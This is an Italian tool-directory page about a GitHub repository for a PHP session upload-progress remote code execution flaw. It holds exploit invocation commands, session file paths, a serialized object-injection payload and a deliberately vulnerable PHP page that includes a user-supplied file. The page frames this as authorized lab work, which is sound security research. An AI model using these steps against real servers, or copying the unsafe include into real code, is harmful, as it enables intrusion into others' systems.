Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-115560 — Due PoC Python per l'RCE tramite progress di upload delle sessioni PHP: esecuzione di codice tramite LFI sul file di sessione e object injection dal serializzatore php_binary a php, con script per l'allestimento del laboratorio. | Kitploit
Strumenti/GitHubGitHub/sykeops/cve-2026-115560
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebStrumento di Accesso RemotoSviluppo PayloadLab e Pratica
GitHubsykeops/cve-2026-115560

CVE-2026-115560

Due PoC Python per l'RCE tramite progress di upload delle sessioni PHP: esecuzione di codice tramite LFI sul file di sessione e object injection dal serializzatore php_binary a php, con script per l'allestimento del laboratorio.

Vedi Repository
828 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    337
  • 6

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    331

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC RCE tramite progress di upload delle sessioni PHP

PoC LFI RCE #1

https://github.com/user-attachments/assets/7d25d259-ec00-4e3a-810c-09098f0afb5f

PoC php-binary RCE #2

https://github.com/user-attachments/assets/00a0d3e7-bd78-4bdb-992f-0110fc580746

Questo repository contiene due PoC da laboratorio per il progress di upload delle sessioni PHP. Il gestore del progress di upload scrive un campo controllato dall'attaccante nel file di sessione prima che venga eseguito il codice dell'applicazione:

  • LFI sul file di sessione (poc.py): il gestore memorizza un nome file o un valore di progress contenente codice PHP. Se una LFI autorizzata include il file di sessione, quel codice viene eseguito.
  • Cambio di serializzatore (poc-php-binary.py): il record di progress viene scritto con php_binary, poi l'applicazione passa al serializzatore php e chiama session_start(). Il decoder php deserializza il valore di progress dell'attaccante, dimostrando una primitiva di object-injection senza alcuna LFI.

Usa questi strumenti solo contro sistemi di tua proprietà o per i quali sei esplicitamente autorizzato a eseguire test. L'endpoint ?file= generato è intenzionalmente non sicuro e deve rimanere in un laboratorio.

Contenuti

FileScopo
poc.pyPoC di upload multipart con injection --filename / --progress / --field-name e polling LFI opzionale
poc-php-binary.pyPoC di serializzazione php_binary -> php senza LFI
setup.shDistribuisce il laboratorio LFI sul file di sessione sulla porta 80 (installa Apache/PHP se mancanti)
setup-php-binary.shLo stesso script di setup.sh; differisce solo nel index.php distribuito e nell'ambito di session.serialize_handler=php_binary
poc.mp4Demo: LFI sul file di sessione
poc-php-binary.mp4Demo: cambio di serializzatore php_binary

Laboratorio 1: LFI sul file di sessione

Configurazione

setup.sh rileva la distribuzione, installa i pacchetti del web server e di PHP se mancanti, svuota /var/www/html, scrive solo index.php e ricarica il web server. Eseguilo come utente con diritti sudo; lo script chiama sudo da solo, quindi non è necessario anteporre nulla all'intera invocazione:

bash setup.sh

Al termine stampa [+] Deployed: /var/www/html/index.php e l'URL da testare.

Famiglia Fedora / RHEL

Installa httpd, php e php-fpm. Poiché mod_php non è più pacchettizzato in questa distribuzione, lo script scrive anche /etc/httpd/conf.d/php.conf per instradare le richieste .php al socket php-fpm, quindi avvia php-fpm e httpd. La pagina viene servita sulla normale porta Apache:

http://<host>/index.php

Ubuntu / Debian

Installa apache2, php e libapache2-mod-php (mod_php), e abilita il modulo PHP se non è già caricato. La pagina viene servita sulla normale porta Apache:

http://<host>/index.php

La configurazione non imposta i valori PHP INI relativi alla sessione. Utilizza la configurazione PHP di sistema.

La pagina generata:

<?php
declare(strict_types=1);

if (isset($_GET['file']) && $_GET['file'] !== '') {
    header('Content-Type: text/plain; charset=utf-8');
    include $_GET['file'];
} else {
    echo "hello, world\n";
}

Controllalo:

curl http://192.168.122.170/index.php
# hello, world

setup.sh cancella /var/www/html; non eseguirlo su un host con un sito reale in quella posizione.

Esegui poc.py

Il PoC chiede conferma prima dell'invio. --duration è il numero di chunk di upload da un secondo; il valore predefinito è 45. Scegli esattamente una modalità di injection:

  • --filename inserisce il payload PHP nel nome file multipart.
  • --progress lo inserisce nel valore di PHP_SESSION_UPLOAD_PROGRESS (il payload non può contenere |).
  • --field-name lo inserisce nel nome del campo della parte file, che l'handler memorizza così com'è in files[].field_name (ext/session/session.c:3321) senza filtraggio dell'input. Il payload non può contenere ", [ o ] (il parser multipart legge il nome del campo fino alla virgoletta di chiusura e rifiuta le parentesi non bilanciate).

--lfi richiede uno tra --fedora, --ubuntu o --tmp affinché il PoC interroghi il file di sessione per la piattaforma corretta. Su Ubuntu:

python3 poc.py \
  --remote 'http://192.168.122.170/index.php' \
  --filename \
  --lfi 'http://192.168.122.170/index.php?file={file}' \
  --ubuntu

Su Fedora / RHEL:

python3 poc.py \
  --remote 'http://192.168.122.170/index.php' \
  --filename \
  --lfi 'http://192.168.122.170/index.php?file={file}' \
  --fedora

Il PoC attende otto secondi, poi interroga l'LFI una volta al secondo mentre l'upload è ancora in corso. Si interrompe non appena vede l'output del payload eseguito (RCE <version>), annulla l'upload rimanente ed esce con 0. Se l'upload termina senza una corrispondenza esce con 1. Le durate inferiori a 20 secondi vengono portate a 20 quando il polling è abilitato, perché PHP impiega circa dieci secondi per scrivere la voce di avanzamento.

Senza --lfi, i flag della piattaforma sono opzionali; il PoC invia solo l'upload e puoi ispezionare manualmente il file di sessione.

Percorsi del file di sessione

Il flag della piattaforma seleziona il file da monitorare:

--fedora  /var/lib/php/session/sess_pwnd00000000000001
--ubuntu  /var/lib/php/sessions/sess_pwnd00000000000001
--tmp     /tmp/sess_pwnd00000000000001

Lab 2: cambio di serializer da php_binary a php

Configurazione

setup-php-binary.sh è lo stesso script di setup.sh — i due file sono identici byte per byte tranne che per un blocco lab-specific configuration (il index.php che viene distribuito e il serializer con cui viene eseguito il lab). Installa i pacchetti se necessario, cancella /var/www/html, scrive il proprio index.php e ricarica Apache, e inoltre limita session.serialize_handler=php_binary al lab: Fedora/RHEL usano un pool php-fpm dedicato collegato tramite /etc/httpd/conf.d/php.conf; Ubuntu/Debian usano un php_value in uno snippet di configurazione Apache. Rieseguire setup.sh rimuove tale limitazione e ripristina il lab LFI standard, così i due script fanno passare avanti e indietro il lab condiviso /var/www/html.

bash setup-php-binary.sh

L'endpoint inizia con session.serialize_handler=php_binary, passa a php in fase di esecuzione e chiama session_start():

<?php
declare(strict_types=1);

class Gadget {
    public function __wakeup()   { echo "SERIALIZED_WAKEUP\n"; }
    public function __destruct() { echo "SERIALIZED_DESTRUCT\n"; }
}

ini_set('session.serialize_handler', 'php');
session_start();

echo "hello, world\n";

Esegui poc-php-binary.py

python3 poc-php-binary.py \
  --remote 'http://192.168.122.170/index.php'

Lo script è solo di serializzazione; non esiste una modalità LFI. Invia il valore di progresso x|O:6:"Gadget":0:{} (o la classe indicata da --gadget) più una normale parte file. --duration è impostato per default a 45 e viene portato ad almeno 20. Dopo otto secondi esegue il polling dello stesso URL con lo stesso PHPSESSID ogni secondo, stampa ogni risposta ed esce con 0 non appena compare SERIALIZED_WAKEUP o SERIALIZED_DESTRUCT. Se l'upload termina senza una corrispondenza esce con 1.

Il prefisso x| fornisce il delimitatore che php_binary non scrive, così il decoder php vede l'oggetto serializzato come valore di progresso.

Come funziona

LFI tramite file di sessione

Scarica lo strumento